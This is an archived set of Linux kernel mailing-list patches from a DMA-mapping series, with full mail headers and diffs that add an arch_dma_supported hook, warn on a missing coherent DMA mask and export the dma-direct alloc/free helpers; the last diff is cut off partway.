Subject: [PATCH 22/34] dma-mapping: add an arch_dma_supported hook
Date: Fri, 12 Jan 2018 09:42:20 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <20180112084232.2857-23-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746611 29115 195.159.176.226 (12 Jan 2018 08:43:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:43:31 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:43:25 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZuvl-0006qj-42
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:43:17 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 5D8DD1037;
	Fri, 12 Jan 2018 08:43:51 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 900F61017
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:50 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 0F8421E05B
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:49 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=3h3P2/8IxO6IQpO8f9DTPtlVbwpGcxUpPPaVFzN/FFg=;
	b=G/SQBCLYo8VIeGo4gR4vuwifk
	wanXbZcQz8PbkkmI1jcFJC2CVtL4+D6nW79V5qcn1GOElQc/SRj2Ytp3lCtbmpeVCdiNDQim/B3RN
	DMZ/j8Ocj+MKOKRh1+djKxPXuPEGazEfS46drajlIzLjkbrNEE0aIPnykAJA6G6Ryxz5YkyNQtf8s
	YYBzovzfXq0OSqaISNJ8FCi0+Kidn8BJWMXFQ7WHoa1amJsZoKKoi9pyZoRSUicob6V3ARHQqNXP3
	VadiyqwNy+PHrWd91jPEnPHVSAmA3JzObIL2R0HMatvGhZv5q8cobTSPRzWknf0TxwBQtwuHAMTmd
	RnTLwKrww==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuwE-0008Gn-8q; Fri, 12 Jan 2018 08:43:46 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22168 gmane.linux.ports.mips.general:63309 gmane.linux.ports.ia64:28612 gmane.linux.ports.sh.devel:56313 gmane.linux.ports.sparc:27262 gmane.linux.kernel.cross-arch:41470 gmane.linux.ports.hexagon:1577 gmane.linux.kernel.arc:3361 gmane.linux.kernel.metag:1654 gmane.linux.ports.arm.kernel:625667 gmane.linux.ports.parisc:28254 gmane.linux.kernel:2665101 gmane.linux.ports.alpha:4751 gmane.linux.ports.ppc64.devel:152036
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22168>

To implement the x86 forbid_dac and iommu_sac_force we want an arch hook
so that it can apply the global options across all dma_map_ops
implementations.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/x86/include/asm/dma-mapping.h |  3 +++
 arch/x86/kernel/pci-dma.c          | 19 ++++++++++++-------
 include/linux/dma-mapping.h        | 11 +++++++++++
 3 files changed, 26 insertions(+), 7 deletions(-)

diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index dfdc9357a349..6277c83c0eb1 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -30,6 +30,9 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return dma_ops;
 }
 
+int arch_dma_supported(struct device *dev, u64 mask);
+#define arch_dma_supported arch_dma_supported
+
 bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp);
 #define arch_dma_alloc_attrs arch_dma_alloc_attrs
 
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 61a8f1cb3829..df7ab02f959f 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -215,7 +215,7 @@ static __init int iommu_setup(char *p)
 }
 early_param("iommu", iommu_setup);
 
-int x86_dma_supported(struct device *dev, u64 mask)
+int arch_dma_supported(struct device *dev, u64 mask)
 {
 #ifdef CONFIG_PCI
 	if (mask > 0xffffffff && forbid_dac > 0) {
@@ -224,12 +224,6 @@ int x86_dma_supported(struct device *dev, u64 mask)
 	}
 #endif
 
-	/* Copied from i386. Doesn't make much sense, because it will
-	   only work for pci_alloc_coherent.
-	   The caller just has to use GFP_DMA in this case. */
-	if (mask < DMA_BIT_MASK(24))
-		return 0;
-
 	/* Tell the device to use SAC when IOMMU force is on.  This
 	   allows the driver to use cheaper accesses in some cases.
 
@@ -249,6 +243,17 @@ int x86_dma_supported(struct device *dev, u64 mask)
 
 	return 1;
 }
+EXPORT_SYMBOL(arch_dma_supported);
+
+int x86_dma_supported(struct device *dev, u64 mask)
+{
+	/* Copied from i386. Doesn't make much sense, because it will
+	   only work for pci_alloc_coherent.
+	   The caller just has to use GFP_DMA in this case. */
+	if (mask < DMA_BIT_MASK(24))
+		return 0;
+	return 1;
+}
 
 static int __init pci_iommu_init(void)
 {
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 88bcb1a8211d..d67742dad904 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -576,6 +576,14 @@ static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
 	return 0;
 }
 
+/*
+ * This is a hack for the legacy x86 forbid_dac and iommu_sac_force. Please
+ * don't use this is new code.
+ */
+#ifndef arch_dma_supported
+#define arch_dma_supported(dev, mask)	(1)
+#endif
+
 static inline void dma_check_mask(struct device *dev, u64 mask)
 {
 	if (sme_active() && (mask < (((u64)sme_get_me_mask() << 1) - 1)))
@@ -588,6 +596,9 @@ static inline int dma_supported(struct device *dev, u64 mask)
 
 	if (!ops)
 		return 0;
+	if (!arch_dma_supported(dev, mask))
+		return 0;
+
 	if (!ops->dma_supported)
 		return 1;
 	return ops->dma_supported(dev, mask);
-- 
2.14.2


From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 20/34] dma-mapping: warn when there is no coherent_dma_mask
Date: Fri, 12 Jan 2018 09:42:18 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20180112084232.2857-21-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746613 29623 195.159.176.226 (12 Jan 2018 08:43:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:43:33 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:43:27 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZuvd-0006S1-AL
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:43:09 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 2DBC9105B;
	Fri, 12 Jan 2018 08:43:47 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 9D122104A
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:45 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 245BE1E040
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:45 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=4ZYlLbbejlgKHwddFgQEP+sf10q2EXhxahJyBscYk2s=;
	b=LPzHMI7NVmtqhVWIFo/K7TFKl
	L1iSSpwynUHvGe4soM8mvz/MtcAwidge5waEcTlm5dZSlQOEPehukWs0xvCnuYvModm8oOLDbwQjT
	mvEFQWQhuIVsVUaAvHHnK3YJWgMQLkt1YmoCGw9qghlusv2yrt1J9yjG3UVHf9Xd/3X5xBLfSA4oO
	C+TXqG7UHt94vO3iXcGKyZBGikIGWr/eNQiLP2KFVK3VOAEn6IUQqKHcWe1hmRJKU4UZ4naj1dBFk
	rIsB17sMGc6+B+W7BGvaLWtKwYPveeGKVoOgMotgtvQElvb0QxqdKCkGL0nQogYzf7OubV8TWzX/X
	uma39Wv+w==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuw8-0008BE-L0; Fri, 12 Jan 2018 08:43:41 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22169 gmane.linux.ports.mips.general:63310 gmane.linux.ports.ia64:28613 gmane.linux.ports.sh.devel:56314 gmane.linux.ports.sparc:27263 gmane.linux.kernel.cross-arch:41471 gmane.linux.ports.hexagon:1578 gmane.linux.kernel.arc:3362 gmane.linux.kernel.metag:1655 gmane.linux.ports.arm.kernel:625668 gmane.linux.ports.parisc:28255 gmane.linux.kernel:2665102 gmane.linux.ports.alpha:4752 gmane.linux.ports.ppc64.devel:152037
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22169>

These days all devices should have a DMA coherent mask, and most dma_ops
implementations rely on that fact.  But just to be sure add an assert to
ring the warning bell if that is not the case.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Reviewed-by: Vladimir Murzin <vladimir.murzin-5wv7dgnIgG8@public.gmane.org>
---
 include/linux/dma-mapping.h | 1 +
 1 file changed, 1 insertion(+)

diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index d84951865be7..9f28b2fa329e 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -513,6 +513,7 @@ static inline void *dma_alloc_attrs(struct device *dev, size_t size,
 	void *cpu_addr;
 
 	BUG_ON(!ops);
+	WARN_ON_ONCE(!dev->coherent_dma_mask);
 
 	if (dma_alloc_from_dev_coherent(dev, size, dma_handle, &cpu_addr))
 		return cpu_addr;
-- 
2.14.2


From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 31/34] dma-direct: make dma_direct_{alloc,free} available to other implementations
Date: Fri, 12 Jan 2018 09:42:29 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <20180112084232.2857-32-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746614 29747 195.159.176.226 (12 Jan 2018 08:43:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:43:34 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Jan 12 09:43:28 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZuvl-0006Yi-LI
	for lnx-sparclinux@m.gmane.org; Fri, 12 Jan 2018 09:43:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934220AbeALIpU (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 12 Jan 2018 03:45:20 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:34747 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934122AbeALIoT (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 12 Jan 2018 03:44:19 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=RvsYFEirbQ4Vn6a2CbBRaDEn8ggg6TbEYTVVJh99HAM=; b=M4xwnw+lmpIEMrelPW64rnJCd
        OXK58Y1fNvnfev4kxTzODjifRh97SEzOixYXs4MohOicwAeWZAvbVo5WSnsOMaCAvi6l3Qg0uuCob
        M4FOo8LbRWIJ8yRmLokuxvOSfliqR5JyXUCtN9qFPt1WpcxIcM0jmGXYmZ04APeaP8W8rpzejvZ2s
        v16wAm7NtoJFICaqQRZfAUOVNzY15wP1LdQ/qLISGQ54eyI9i0T56cKwXi8iEGJcPqDJ5XvUUGS/P
        a7g9nNIrW9zjqlDtcstlBhbxm5eYHpn/YwAJUzZkOIJaF2xHE0fv1uXZSndBtuTAy0FyEkPef8rga
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuwe-0000K4-QD; Fri, 12 Jan 2018 08:44:13 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27264 gmane.linux.kernel.iommu:22170 gmane.linux.ports.alpha:4753 gmane.linux.kernel.arc:3363 gmane.linux.ports.arm.kernel:625669 gmane.linux.ports.hexagon:1579 gmane.linux.ports.ia64:28614 gmane.linux.kernel.metag:1656 gmane.linux.ports.mips.general:63311 gmane.linux.ports.parisc:28256 gmane.linux.ports.ppc64.devel:152038 gmane.linux.ports.sh.devel:56315 gmane.linux.kernel.cross-arch:41472 gmane.linux.kernel:2665103
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27264>

So that they don't need to indirect through the operation vector.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Vladimir Murzin <vladimir.murzin@arm.com>
---
 arch/arm/mm/dma-mapping-nommu.c | 9 +++------
 include/linux/dma-direct.h      | 5 +++++
 lib/dma-direct.c                | 6 +++---
 3 files changed, 11 insertions(+), 9 deletions(-)

diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index 4d8042521e89..619f24a42d09 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -11,7 +11,7 @@
 
 #include <linux/export.h>
 #include <linux/mm.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 
 #include <asm/cachetype.h>
@@ -39,7 +39,6 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 				 unsigned long attrs)
 
 {
-	const struct dma_map_ops *ops = &dma_direct_ops;
 	void *ret;
 
 	/*
@@ -48,7 +47,7 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 	 */
 
 	if (attrs & DMA_ATTR_NON_CONSISTENT)
-		return ops->alloc(dev, size, dma_handle, gfp, attrs);
+		return dma_direct_alloc(dev, size, dma_handle, gfp, attrs);
 
 	ret = dma_alloc_from_global_coherent(size, dma_handle);
 
@@ -70,10 +69,8 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
 			       void *cpu_addr, dma_addr_t dma_addr,
 			       unsigned long attrs)
 {
-	const struct dma_map_ops *ops = &dma_direct_ops;
-
 	if (attrs & DMA_ATTR_NON_CONSISTENT) {
-		ops->free(dev, size, cpu_addr, dma_addr, attrs);
+		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
 	} else {
 		int ret = dma_release_from_global_coherent(get_order(size),
 							   cpu_addr);
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 10e924b7cba7..4788bf0bf683 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -38,4 +38,9 @@ static inline void dma_mark_clean(void *addr, size_t size)
 }
 #endif /* CONFIG_ARCH_HAS_DMA_MARK_CLEAN */
 
+void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs);
+void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs);
+
 #endif /* _LINUX_DMA_DIRECT_H */
diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 4e43c2bb7f5f..784a68dfdbe3 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -40,8 +40,8 @@ static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
 	return phys_to_dma(dev, phys) + size - 1 <= dev->coherent_dma_mask;
 }
 
-static void *dma_direct_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	int page_order = get_order(size);
@@ -84,7 +84,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	return page_address(page);
 }
 
-static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
